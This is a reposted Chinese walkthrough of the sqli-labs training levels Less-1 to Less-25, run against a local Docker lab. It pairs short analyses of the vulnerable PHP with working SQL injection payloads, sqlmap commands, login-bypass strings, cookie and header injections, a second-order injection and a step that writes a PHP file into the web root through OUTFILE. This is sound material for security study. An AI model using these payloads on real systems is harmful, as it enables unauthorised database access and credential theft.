sqli-lab
原文地址:https://www.sqlsec.com/2020/05/sqlilabs.html
转载此处方便自己参考
Less-1
请求方式 | 注入类型 | 拼接方式 |
---|---|---|
GET | 联合、报错、布尔盲注、延时盲注 | id='$id' |
源码简单分析:
Php
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
if true:
输出查询内容
else:
print_r(mysql_error());
联合查询注入
Payload
?id=-1'+UNION+SELECT+1,2,(SELECT+GROUP_CONCAT(username,password+SEPARATOR+0x3c62723e)+FROM+users)--+
报错注入1
手动修改 LIMIT+0,1
来进行结果偏移
Payload
?id=1'+AND+(SELECT+1+FROM+(SELECT+COUNT(*),CONCAT((SELECT(SELECT+CONCAT(CAST(CONCAT(username,password)+AS+CHAR),0x7e))+FROM+users+LIMIT+0,1),FLOOR(RAND(0)*2))x+FROM+INFORMATION_SCHEMA.TABLES+GROUP+BY+x)a)--+
报错注入2
手动修改 LIMIT+0,1
来进行结果偏移
Payload
?id=1'+AND(SELECT+1+FROM(SELECT+count(*),CONCAT((SELECT+(SELECT+(SELECT+CONCAT(0x7e,0x27,cast(username+AS+CHAR),0x27,0x7e)+FROM+users+LIMIT+0,1))+FROM+INFORMATION_SCHEMA.TABLES+LIMIT+0,1),FLOOR(RAND(0)*2))x+FROM+INFORMATION_SCHEMA.TABLES+GROUP+BY+x)a)+AND+1=1--+
布尔盲注
数据库第一个字母为 s
Payload
?id=1' and left(database(),1)>'r'--+
?id=1' and left(database(),1)>'s'--+
延时盲注
数据库第一个字母的 ascii 码为 115,即s
Payload
?id=1' and if(ascii(substr(database(),1,1))>114,1,sleep(5))--+
?id=1' and if(ascii(substr(database(),1,1))>115,1,sleep(5))--+
sqlmap
联合查询注入
Bash
sqlmap -u "http://127.0.0.1:8888/Less-1/?id=1" --dbms=MySQL --random-agent --flush-session --technique=U -v 3
报错注入
Bash
sqlmap -u "http://127.0.0.1:8888/Less-1/?id=1" --dbms=MySQL --random-agent --flush-session --technique=E -v 3
布尔盲注
Bash
sqlmap -u "http://127.0.0.1:8888/Less-1/?id=1" --dbms=MySQL --random-agent --flush-session --technique=B -v 3
延时盲注
Bash
sqlmap -u "http://127.0.0.1:8888/Less-1/?id=1" --dbms=MySQL --random-agent --flush-session --technique=T -v 3
Less-2
请求方式 | 注入类型 | 拼接方式 |
---|---|---|
GET | 联合、报错、布尔盲注、延时盲注 | id=$id |
和 Less-1 利用方式一致,只是闭合方式不一样而已,这里即不再啰嗦了。
Less-3
请求方式 | 注入类型 | 拼接方式 |
---|---|---|
GET | 联合、报错、布尔盲注、延时盲注 | id=('$id') |
和 Less-1 利用方式一致,只是闭合方式不一样而已,这里即不再啰嗦了。
Less-4
请求方式 | 注入类型 | 拼接方式 |
---|---|---|
GET | 联合、报错、布尔盲注、延时盲注 | id=("$id") |
源码简单分析:
Php
$id = '"' . $id . '"';
$sql="SELECT * FROM users WHERE id=($id) LIMIT 0,1";
if true:
输出查询内容
else:
print_r(mysql_error());
Less-5
请求方式 | 注入类型 | 拼接方式 |
---|---|---|
GET | 报错、布尔盲注、延时盲注 | id='$id' |
源码简单分析:
Php
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
if true:
输出 You are in...........
else:
print_r(mysql_error());
因为不输出查询的结果,这就导致不可以使用联合查询的注入方式,但是并不影响正常使用报错、布尔盲注和延时盲注,除了不能联合查询注入,其他和 Less-1 利用方式一致,这里即不再啰嗦了。
Less-6
请求方式 | 注入类型 | 拼接方式 |
---|---|---|
GET | 报错、布尔盲注、延时盲注 | id="$id" |
和 Less-5 利用方式一致,只是闭合方式不一样,这里即不再啰嗦了。
Less-7
请求方式 | 注入类型 | 拼接方式 |
---|---|---|
GET | 布尔盲注、延时盲注 | id=(('$id')) |
源码简单分析:
Php
$sql="SELECT * FROM users WHERE id=(('$id')) LIMIT 0,1";
if true:
输出 You are in.... Use outfile......
else:
输出 You have an error in your SQL syntax
因为这里把print_r(mysql_error());
给注释掉了,所以就不可以使用报错注入了,这个时候只能使用布尔盲注和延时盲注,可以尝试手工验证一下然后放到 sqlmap 里面来跑。
盲注
盲注还是常规思路,这里实际上和前面的是一样的,就再啰嗦一下,使用 sqlmap 直接验证看看:
布尔盲注
Bash
sqlmap -u "http://127.0.0.1:8888/Less-7/?id=1" --dbms=MySQL --random-agent --flush-session --technique=B -v 3
sqlmap 的 Payload 如下:
Payload
id=1') AND 3542=3542 AND ('rmsD'='rmsD
延时盲注
Bash
sqlmap -u "http://127.0.0.1:8888/Less-7/?id=1" --dbms=MySQL --random-agent --flush-session --technique=T -v 3
sqlmap 的 Payload 如下:
Payload
id=1') AND (SELECT 9943 FROM (SELECT(SLEEP(5)))XOYy) AND ('QUpy'='QUpy
导出数据到文件
因为这一关作者很明显地提示了如下信息:
You are in.... Use outfile......
所以我们就来配合一下作者,使用 outfile 导出到文件来查询数据,默认 outfile 是没有开启的,得手动开启一下,这个 Docker 靶机理论上应该是开启的,进入容器验证一下:
Bash
+------------------+-------+
| Variable_name | Value |
+------------------+-------+
| secure_auth | OFF |
| secure_file_priv | |
+------------------+-------+
- ure_file_priv 的值为
null
,表示限制 mysqld 不允许导入|导出 - 当secure_file_priv 的值为
/tmp/
,表示限制 mysqld 的导入|导出只能发生在/tmp/目录下 - 当secure_file_priv 的值为
空
时,表示不对 mysqld 的导入|导出做限制
下面开始直接将数据库里面的信息导出到文件中吧:
Payload
/?id=1'))+UNION+SELECT * from security.users INTO OUTFILE "users.txt"--+
因为导出没有指定路径,所以 Linux 下 MySQL 默认导出的路径为:
Bash
/var/lib/mysql/security
查看下是否将数据库信息导出到文件中了:
Bash
$ cat /var/lib/mysql/security/users.txt
1 Dumb Dumb
2 Angelina I-kill-you
3 Dummy p@ssword
4 secure crappy
5 stupid stupidity
6 superman genious
7 batman mob!le
8 admin admin
9 admin1 admin1
10 admin2 admin2
11 admin3 admin3
12 dhakkan dumbo
14 admin4 admin4
但是这样并没有什么实际的作用,因为这个路径我们同过 Web 是无法访问的,所以这个导出的信息尽管是成功的,但是访问不到这个信息就白白作废了。
所以一般我们将这个信息导出到网站的根目录下,所以需要知道网站的物理路径信息,因为这里是靶机,所有这里就直接导出到网站根目录下看看:
Payload
/?id=1'))+UNION+SELECT * from security.users INTO OUTFILE "/var/www/html/Less-7/users.txt"--+
这里因为这个 Docker 靶场环境没有配置好权限问题,我们通过 MySQL 直接往 Web 目录下写文件会是失败的,提示如下信息:
Verilog
syntaxCan't create/write to file
这个时候为了演示这个效果,这里只能进容器来手动把权限给开一下了:
Bash
$ chmod -R 777 /var/www/html
然后再执行上面的语句应该是可以成功的
Bash
$ curl http://127.0.0.1:8888/Less-7/users.txt
1 Dumb Dumb
2 Angelina I-kill-you
3 Dummy p@ssword
4 secure crappy
5 stupid stupidity
6 superman genious
7 batman mob!le
8 admin admin
9 admin1 admin1
10 admin2 admin2
11 admin3 admin3
12 dhakkan dumbo
14 admin4 admin4
一般情况看下可以往 Web 目录写文件的时候,直接写 shell 效率会更高:
Sql
/?id=1'))+UNION+SELECT 1,2,"<?php phpinfo();?>" INTO OUTFILE "/var/www/html/Less-7/info.php"
访问对应的 URL 看看是否解析了呢:
Less-8
请求方式 | 注入类型 | 拼接方式 |
---|---|---|
GET | 布尔盲注、延时盲注 | id='$id' |
和 Less-7 注入方式一致,只是拼接方式不一样,这里国光就不再啰嗦了。
Less-9
请求方式 | 注入类型 | 拼接方式 |
---|---|---|
GET | 延时盲注 | id='$id' |
和 Less-7 注入方式一致,只是拼接方式不一样,这里国光就不再啰嗦了。
源码简单分析:
Php
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
if true:
输出 You are in............
else:
输出 You are in...........
从源码中可以看到 if else 都输出的是 You are in……….. 这样就不能通过布尔盲注来进行注入了,只能用最慢的延时注入。延时注入细节可以参考 Less-1 的注入细节。
Less-10
请求方式 | 注入类型 | 拼接方式 |
---|---|---|
GET | 延时盲注 | id="$id" |
源码简单分析:
Php
$id = '"'.$id.'"';
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
if true:
输出 You are in............
else:
输出 You are in...........
和 Less-9 利用方式一样,只是拼接方式不一样,具体可以参考 Less-9
Less-11
请求方式 | 注入类型 | 拼接方式 |
---|---|---|
POST | 联合、报错、布尔盲注、延时盲注 | username='x' |
源码简单分析:
Php
$uname=$_POST['uname'];
$passwd=$_POST['passwd'];
@$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";
if true:
输出查询的信息
else:
print_r(mysql_error());
和 Less-1 的利用方式相同,只是由 GET 型变成 POST 型。
万能密码
这里拿 admin 用户来模拟登录测试,首先查询出 admin 的用户信息如下:
Bash
mysql> select * from users where username = 'admin';
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 8 | admin | admin |
+----+----------+----------+
因为核心的 SQL 语句只使用单引号拼接,这里就是一个经典的万能密码漏洞,可以使用如下 Payload 来登录系统:
Bash
uname=admin'--+&passwd=&submit=Submit
uname=admin'
uname=admin&passwd=1' or 1--+&submit=Submit
uname=admin&passwd=1'||1--+&submit=Submit
uname=admin&passwd=1' or 1#&submit=Submit
uname=admin&passwd=1'||1
uname=admin&passwd=1'or'1'='1&submit=Submit
uname=admin&passwd=1'||'1'='1&submit=Submit
因为这是一个 POST 型的注入,那么国光这里就再啰嗦一遍,走一遍详细的流程吧
联合查询注入
POST 数据里面不能有
+
,这里得手动转换为空格
Payload
uname=admin&passwd=1'union select 1,(SELECT GROUP_CONCAT(username,password) FROM users)#&submit=Submit
报错注入1
手动修改 LIMIT+0,1
来进行结果偏移
Paylaod
uname=admin&passwd=1'AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT((SELECT(SELECT CONCAT(CAST(CONCAT(username,password) AS CHAR),0x7e)) FROM users LIMIT 0,1),FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.TABLES GROUP BY x)a)#&submit=Submit
报错注入2
手动修改 LIMIT+0,1
来进行结果偏移
Paylaod
uname=admin&passwd=1' AND (SELECT 1 FROM(SELECT count(*),CONCAT((SELECT (SELECT (SELECT CONCAT(0x7e,0x27,cast(username AS CHAR),0x27,0x7e) FROM users LIMIT 0,1)) FROM INFORMATION_SCHEMA.TABLES LIMIT 0,1),FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.TABLES GROUP BY x)a) AND 1=1#&submit=Submit
布尔盲注
数据库第一个字母为 s
Payload
uname=admin' and left(database(),1)>'r'#&passwd=&submit=Submit
uname=admin' and left(database(),1)>'s'#&passwd=&submit=Submit
延时盲注
数据库第一个字母的 ascii 码为 115,即s
Payload
uname=admin' and if(ascii(substr(database(),1,1))>114,1,sleep(5))#&passwd=&submit=Submit
uname=admin' and if(ascii(substr(database(),1,1))>115,1,sleep(5))#&passwd=&submit=Submit
sqlmap
加载目标
可以直接将 Burpsuite 截取的数据包内容保持为文本格式 test.txt
:
Http
POST /Less-11/ HTTP/1.1
127.0.0.1:8888
Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:56.0) Gecko/20100101 Firefox/56.0
text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
gzip, deflate
http://127.0.0.1:8888/Less-11/
application/x-www-form-urlencoded
38
close
1
uname=admin&passwd=2333&submit=Submit
然后直接使用 sqlmap 的 -r 参数来加载这个请求包:
也可以手动通过 --data
来对 POST 的数据包内容进行注入检测:
Bash
sqlmap -u "http://127.0.0.1:8888/Less-11/" --data="uname=admin&passwd=2333&submit=Submit"
实际上 --data
比较鸡肋,操作效率比较低,因为比较冷门,所有适合来炫耀自己会这个参数,这样对 sqlmap 不够了解的人 就会觉得很高大上。所以接下来国光我都使用 --data
这个参数来进行注入 🤓
联合查询注入
Bash
sqlmap -u "http://127.0.0.1:8888/Less-11/" --data="uname=admin&passwd=2333&submit=Submit" -p "uname" --dbms=MySQL --random-agent --flush-session --technique=U -v 3
报错注入
Bash
sqlmap -u "http://127.0.0.1:8888/Less-11/" --data="uname=admin&passwd=2333&submit=Submit" -p "uname" --dbms=MySQL --random-agent --flush-session --technique=B -v 3
布尔盲注
Bash
sqlmap -u "http://127.0.0.1:8888/Less-11/" --data="uname=admin&passwd=2333&submit=Submit" -p "uname" --dbms=MySQL --random-agent --flush-session --technique=B -v 3
延时盲注
Bash
sqlmap -u "http://127.0.0.1:8888/Less-11/" --data="uname=admin&passwd=2333&submit=Submit" -p "uname" --dbms=MySQL --random-agent --flush-session --technique=T -v 3
Less-12
请求方式 | 注入类型 | 拼接方式 |
---|---|---|
POST | 联合、报错、布尔盲注、延时盲注 | username=("x") |
和 Less-11 的利用方式一样,只是 SQL 拼接方式不同,这里就不再啰嗦了。
Less-13
请求方式 | 注入类型 | 拼接方式 |
---|---|---|
POST | 报错、布尔盲注、延时盲注 | username=('x') |
简单源码分析
Php
$uname=$_POST['uname'];
$passwd=$_POST['passwd'];
@$sql="SELECT username, password FROM users WHERE username=('$uname') and password=('$passwd') LIMIT 0,1";
if true:
并没有输出啥信息
else:
print_r(mysql_error());
因为没有输出查询后的信息的原因,所以相对于 Less-11 和 Less-12 来说就少了 联合查询的注入方式,其他还是换汤不换药,这里就不再赘述了。
Less-14
请求方式 | 注入类型 | 拼接方式 |
---|---|---|
POST | 报错、布尔盲注、延时盲注 | username="x" |
简单源码分析
Php
$uname='"'.$uname.'"';
$passwd='"'.$passwd.'"';
@$sql="SELECT username, password FROM users WHERE username=$uname and password=$passwd LIMIT 0,1";
和 Less-13 异曲同工,只是拼接方式不一样,我们换对应的闭合方式即可进行注入。
Less-15
请求方式 | 注入类型 | 拼接方式 |
---|---|---|
POST | 布尔盲注、延时盲注 | username='x' |
源码中注释掉了 MySQL 的报错日志,所以这里就不可以进行报错注入了,只能使用布尔盲注或者延时盲注。
国光这里不再做重复无意义的记录了。
Less-16
请求方式 | 注入类型 | 拼接方式 |
---|---|---|
POST | 布尔盲注、延时盲注 | username=("x") |
和 Less-15 注入类型一致,更换对应的闭合方式即可。
Less-17
请求方式 | 注入类型 | 拼接方式 |
---|---|---|
POST | 报错、布尔盲注、延时盲注 | password = '$passwd' |
简单源码分析:
Php
$uname=check_input($_POST['uname']);
$passwd=$_POST['passwd'];
@$sql="SELECT username, password FROM users WHERE username= $uname LIMIT 0,1";
if select 结果正确:
$update="UPDATE users SET password = '$passwd' WHERE username='$row1'";
if mysql 报错:
print_r(mysql_error());
从源码中可以分享唯一的注入点是在 update 语句里面,只使用了单引号拼接。因为操作正确并没有啥提示,所以不能使用联合查询注入,因为输出了报错日志,所以还可以进行报错注入,那么下面就演示一下报错注入吧:
Bash
uname=admin&passwd=1' AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT((SELECT(SELECT CONCAT(CAST(CONCAT(username,password) AS CHAR),0x7e)) FROM users LIMIT 0,1),FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.TABLES GROUP BY x)a)
Less-18
请求方式 | 注入类型 | 拼接方式 |
---|---|---|
POST | 报错、布尔盲注、延时盲注 | VALUES ('$uagent') |
简单源码分析:
Php
$uagent = $_SERVER['HTTP_USER_AGENT'];
$IP = $_SERVER['REMOTE_ADDR'];
if 输入了uname 和 passwd:
$uname = check_input($_POST['uname']);
$passwd = check_input($_POST['passwd']);
$sql="SELECT users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1";
if SQL语句有返回结果:
$insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)";
输出 $uagent;
print_r(mysql_error());
else:
print_r(mysql_error());
这个代码漏洞点出在了 insert 语句,这里没有对 uagent 和 ip_address 进行过滤,并且输出了 mysql 的报错信息,所以本关支持 报错注入、布尔盲注和延时盲注。
PHP 里用来获取客户端 IP 的变量
-
$_SERVER['HTTP_CLIENT_IP']
这个很少使用,不一定服务器都实现了。客户端可以伪造。 -
$_SERVER['HTTP_X_FORWARDED_FOR']
,客户端可以伪造。 -
$_SERVER['REMOTE_ADDR']
,客户端不能伪造。
所以这里的 IP 是无法被伪造的,这里只能通过修改 user-agent 来进行注入,考虑到 insert 语句的特殊性,这里使用闭合方式来闭合掉后面的语句,因为输出了 mysql 报错日志了,这里尝试报错注入效率会更高一点:
Http
POST /Less-18/ HTTP/1.1
127.0.0.1:8888
1' AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT((SELECT(SELECT CONCAT(CAST(CONCAT(username,password) AS CHAR),0x7e)) FROM users LIMIT 0,1),FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.TABLES GROUP BY x)a) and '1'='1
text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
gzip, deflate
http://127.0.0.1:8888/Less-18/
application/x-www-form-urlencoded
38
close
1
uname=admin&passwd=admin&submit=Submit
Less-19
请求方式 | 注入类型 | 拼接方式 |
---|---|---|
POST | 报错、布尔盲注、延时盲注 | VALUES ('$uagent') |
简单源码分析:
Php
$uagent = $_SERVER['HTTP_REFERER'];
$IP = $_SERVER['REMOTE_ADDR'];
if 输入了uname 和 passwd:
$uname = check_input($_POST['uname']);
$passwd = check_input($_POST['passwd']);
$sql="SELECT users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1";
if SQL语句有返回结果:
$insert="INSERT INTO `security`.`referers` (`referer`, `ip_address`) VALUES ('$uagent', '$IP')";
输出 $_SERVER['HTTP_REFERER']
print_r(mysql_error());
else:
print_r(mysql_error());
本关和 Less-18 异曲同工,只是这里的漏洞点出在了 referer 里面,其他利用方式基本上也是一毛一样,所以下面直接上 payload 演示吧:
Http
POST /Less-19/ HTTP/1.1
127.0.0.1:8888
Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:56.0) Gecko/20100101 Firefox/56.0
text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
gzip, deflate
' AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT((SELECT(SELECT CONCAT(CAST(CONCAT(username,password) AS CHAR),0x7e)) FROM users LIMIT 0,1),FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.TABLES GROUP BY x)a) and '1'='1
application/x-www-form-urlencoded
38
close
1
uname=admin&passwd=admin&submit=Submit
Less-20
请求方式 | 注入类型 | 拼接方式 |
---|---|---|
POST | 联合、报错、布尔盲注、延时盲注 | username='$cookee' |
简单源码分析:
Php
<?php
if cookie 中不存在 uname 参数:
输出了一堆无用的信息
if 提交了 uname 和 passwd:
$uname = check_input($_POST['uname']);
$passwd = check_input($_POST['passwd']);
$sql="SELECT users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1";
$cookee = $row1['username'];
if 有查询结果:
setcookie('uname', $cookee, time()+3600);
else:
print_r(mysql_error());
else:
if POST 数据里面没有 submit 参数:
$cookee = $_COOKIE['uname'];
$sql="SELECT * FROM users WHERE username='$cookee' LIMIT 0,1";
if 查询无结果:
输出 mysql_error()
if 有结果:
输出查询的信息
else:
setcookie('uname', $row1['username'], time()-3600);
?>
从源码中可以分析出 Less-20 要复杂一点,不过问题还是存在,从 cookie 中读取的 uname 参数值 并直接拼接到了 SQL 语句中了,这就导致了注入点的产生,并且还输出了查询信息,所以这里也是可以进行联合查询注入的。因为是基础关卡的最后一关,所以这里国光老毛病又犯了,这里就再啰嗦一下:
联合查询注入
Http
GET /Less-20/ HTTP/1.1
127.0.0.1:8888
Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:56.0) Gecko/20100101 Firefox/56.0
text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
gzip, deflate
uname=admin' and 1=2 union select 1,2,(SELECT+GROUP_CONCAT(username,password+SEPARATOR+0x3c62723e)+FROM+users)#
close
1
报错注入
Http
GET /Less-20/ HTTP/1.1
127.0.0.1:8888
Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:56.0) Gecko/20100101 Firefox/56.0
text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
gzip, deflate
uname=admin'+AND+(SELECT+1+FROM+(SELECT+COUNT(*),CONCAT((SELECT(SELECT+CONCAT(CAST(CONCAT(username,password)+AS+CHAR),0x7e))+FROM+users+LIMIT+0,1),FLOOR(RAND(0)*2))x+FROM+INFORMATION_SCHEMA.TABLES+GROUP+BY+x)a)#
close
11
盲注
布尔盲注和延时盲注也是 OK 的,但是实际上手工注入的效率并不如联合与报错注入,所以国光这里就不演示了,下面直接演示sqlmap的注入过程吧:
sqlmap
联合查询注入
如果 --level
设置为 2 或更高,则 sqlmap 会对 HTTP Cookie
请求头进行 SQL 注入测试:
Bash
sqlmap -u "http://127.0.0.1:8888/Less-20/" --cookie="uname=admin" -p "uname" --dbms=MySQL --random-agent --flush-session --technique=U -v 3 --level=2
当然手动通过*
来标记注入也比较方便:--cookie="uname=admin*"
报错注入
Bash
sqlmap -u "http://127.0.0.1:8888/Less-20/" --cookie="uname=admin*"--dbms=MySQL --random-agent --flush-session --technique=E -v 3
布尔盲注
Bash
sqlmap -u "http://127.0.0.1:8888/Less-20/" --cookie="uname=admin*"--dbms=MySQL --random-agent --flush-session --technique=B -v 3
延时盲注
Bash
sqlmap -u "http://127.0.0.1:8888/Less-20/" --cookie="uname=admin*"--dbms=MySQL --random-agent --flush-session --technique=B -v 3
Less-21
请求方式 | 注入类型 | 拼接方式 |
---|---|---|
POST | 联合、报错、布尔盲注、延时盲注 | username=('$cookee') |
简单源码分析:
Php
<?php
if cookie 中不存在 uname 参数:
输出了一堆无用的信息
if 提交了 uname 和 passwd:
$uname = check_input($_POST['uname']);
$passwd = check_input($_POST['passwd']);
$sql="SELECT users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1";
if 有查询结果:
setcookie('uname', base64_encode($row1['username']), time()+3600);
else:
print_r(mysql_error());
else:
if POST 数据里面没有 submit 参数:
$cookee = base64_decode($cookee);
$sql="SELECT * FROM users WHERE username='$cookee' LIMIT 0,1";
if 查询无结果:
输出 mysql_error()
if 有结果:
输出查询的信息
else:
setcookie('uname', base64_encode($row1['username']), time()-3600);
?>
从源码中分析可得,和 Less-20 基本上是一毛一样,只是 Coojie 这里是经过 base64 加密的,所以我们只需要传入加密后的 payload 给 cookie 的 uname 即可,下面就只用联合查询注入来简单演示一下吧:
Http
GET /Less-21/ HTTP/1.1
127.0.0.1:8888
Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:56.0) Gecko/20100101 Firefox/56.0
text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
gzip, deflate
uname=c3Fsc2VjJykgdW5pb24gc2VsZWN0IDEsMiwoU0VMRUNUIEdST1VQX0NPTkNBVCh1c2VybmFtZSxwYXNzd29yZCBTRVBBUkFUT1IgMHgzYzYyNzIzZSkgRlJPTSB1c2Vycykj
close
1
Cookie 的 uname 参数 Base64 解码为:
Payload
uname=sqlsec') union select 1,2,(SELECT GROUP_CONCAT(username,password SEPARATOR 0x3c62723e) FROM users)#
sqlmap
手工注入问题不大,那么尝试直接使用 sqlmap 来进行联合查询注入看看:
Bash
sqlmap -u "http://127.0.0.1:8888/Less-21/" --cookie="uname=*" --tamper="base64encode" --dbms=MySQL --random-agent --flush-session --technique=U -v 3
sqlmap 本身不会混淆发送的 payload,混淆 payload 的话可以使用 sqlmap 自带的 payload 库
Less-22
请求方式 | 注入类型 | 拼接方式 |
---|---|---|
POST | 联合、报错、布尔盲注、延时盲注 | username="$cookee" |
简单源码分析:
Php
$cookee1 = '"'. $cookee. '"';
$sql="SELECT * FROM users WHERE username=$cookee1 LIMIT 0,1";
可以发现和 Less-21 相比,只是拼接方式不一样,其他都是一致的,国光这里就不再啰嗦了。
Http
GET /Less-22/ HTTP/1.1
127.0.0.1:8888
Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:56.0) Gecko/20100101 Firefox/56.0
text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
gzip, deflate
uname=c3Fsc2VjIiB1bmlvbiBzZWxlY3QgMSwyLChTRUxFQ1QgR1JPVVBfQ09OQ0FUKHVzZXJuYW1lLHBhc3N3b3JkIFNFUEFSQVRPUiAweDNjNjI3MjNlKSBGUk9NIHVzZXJzKSM=
close
1
Cookie 的 uname 参数 Base64 解码为:
Payload
uname=sqlsec" union select 1,2,(SELECT GROUP_CONCAT(username,password SEPARATOR 0x3c62723e) FROM users)#
Less-23
请求方式 | 注入类型 | 拼接方式 |
---|---|---|
GET | 联合、报错、布尔盲注、延时盲注 | id='$id' |
简单源码分析:
Php
$id=$_GET['id'];
$reg = "/#/";
$reg1 = "/--/";
$replace = "";
$id = preg_replace($reg, $replace, $id);
$id = preg_replace($reg1, $replace, $id);
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
if 有查询结果:
输出查询信息
else:
print_r(mysql_error());
过滤了注释符号,但是这里还可以考虑使用闭合方式来进行注入,下面直接使用最简单的联合查询注入吧:
Payload
?id=-1' union select 1,(SELECT(@x)FROM(SELECT(@x:=0x00) ,(SELECT(@x)FROM(users)WHERE(@x)IN(@x:=CONCAT(0x20,@x,username,password,0x3c62723e))))x),3 and '1'='1
Less-24
一个经典的二次注入场景,所以下面国光来单个理一下源码。
代码分析
index.php
主要记录了表单相关的信息,没有啥敏感代码,当做 Index.html 来看待就可以了,具体的界面如下:
提示输入用户名和密码,用户名和密码正确之后就可以成功登陆,否则登陆失败。
忘记密码
:左下角的忘记密码选项提示:如果你忘记密码 请 hack it
新建用户
:右下角新建用户可以新建一个自己的用户
failed.php
检测会话,如果 cookie 里面没有 Auth 参数的话,就跳转到 index.php
forgot_password.php
简单提示:如果你忘记密码 请 hack it
Logged-in.php
登录后的信息展示,显示登录名称并且提供了修改密码的表单
new_user.php
创建新用户的表单页面,本文件主要存放前段代码。
login_create.php
创建新用户的后端代码,下面来简单理一下代码的流程:
Php
username= mysql_escape_string($_POST['username']) ;
$pass= mysql_escape_string($_POST['password']);
$re_pass= mysql_escape_string($_POST['re_password']);
$sql = "select count(*) from users where username='$username'";
如果当前用户已经存在 无法注册
if 两次输入密码一致:
$sql = "insert into users ( username, password) values(\"$username\", \"$pass\")";
查询完成后 重定向到首页
else:
提示两次输入密码不一致
login.php
Php
$username = mysql_real_escape_string($_POST["login_user"]);
$password = mysql_real_escape_string($_POST["login_password"]);
$sql = "SELECT * FROM users WHERE username='$username' and password='$password'";
pass_change.php
Php
if 检测未登录:
重定向到首页
if 检测到提交表单:
$username= $_SESSION["username"];
$curr_pass= mysql_real_escape_string($_POST['current_password']);
$pass= mysql_real_escape_string($_POST['password']);
$re_pass= mysql_real_escape_string($_POST['re_password']);
if 两次密码一致:
$sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ";
else:
提示密码不一致 并重定向到 fail.php
思路分析
从代码上来看貌似都被转义了,乍一看是成功注入的。实际上的确不能使用常规的思路来进行注入,因为这题是二次注入,ISCC 2019 当时使用这题的考查点是修改掉 admin 用户的密码,然后再登录即可。假设不知道 admin 用户的情况下,想要修改掉 admin 用户的密码的话,这里就使用的是二次注入的姿势了。
二次注入 简单概括就是黑客精心构造 SQL 语句插入到数据库中,数据库报错的信息被其他类型的 SQL 语句调用的时候触发攻击行为。因为第一次黑客插入到数据库的时候并没有触发危害性,而是再其他语句调用的时候才会触发攻击行为,这个就是二次注入。
先看创建用户的地方:
Sql
username = mysql_escape_string($_POST['username']) ;
username 被 mysql_escape_string
函数过滤了,该函数的作用如下:
危险字符 | 转义后 |
---|---|
\ |
\\ |
' |
\' |
" |
\" |
再看下更新密码的核心语句:
Sql
UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass'
这里直接使用单引号拼接了 username 所以当 username 可控的话 ,这里是存在SQL注入的,假设用户注册的 username 的值为:admin'#
,那么此时的完整语句就为:
Sql
UPDATE users SET PASSWORD='$pass' where username='admin'
此时就完全改变了语义,直接就修改掉了 admin 用户的密码。
步骤演示
常见一个admin'#
开头的用户名,下面列举的几种都可以,以此类推,很灵活:
admin'#1
admin'#233
admin'#gg
...
注册完成后数据库的记录信息如下:
Bash
mysql> select * from users;
+----+---------------+------------+
| id | username | password |
+----+---------------+------------+
| 20 | admin'
+----+---------------+------------+
成功添加了记录,这里单引号数据库中中看没有被虽然转义了,这是因为转义只不过是暂时的,最后存入到数据库的时候还是没变的。
接下来登录 admin'#hacker
用户,然后来修改当前的密码:
此时来数据库中查看,可以发现成功修改掉了 admin 用的密码了:
Bash
mysql> select * from users;
+----+---------------+------------+
| id | username | password |
+----+---------------+------------+
| 8 | admin | 233 |
| 20 | admin'
+----+---------------+------------+
Less-25
请求方式 | 注入类型 | 拼接方式 |
---|---|---|
GET | 联合、报错、布尔盲注、延时盲注 | id='$id' |
关键代码分析:
Php
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$id= preg_replace('/or/i',"", $id);
$id= preg_replace('/AND/i',"", $id);
return $id;
过滤了 or 和 and 关键词,但是还存在很多方法可以绕过,下面具体演示一下:
双写嵌套绕过
Payload
?id=-1' union select 1,2,(SELECT+GROUP_CONCAT(username,passwoorrd+SEPARATOORR+0x3c62723e)+FROM+users)--+
password
写成了 passwoorrd
,SEPARATOR
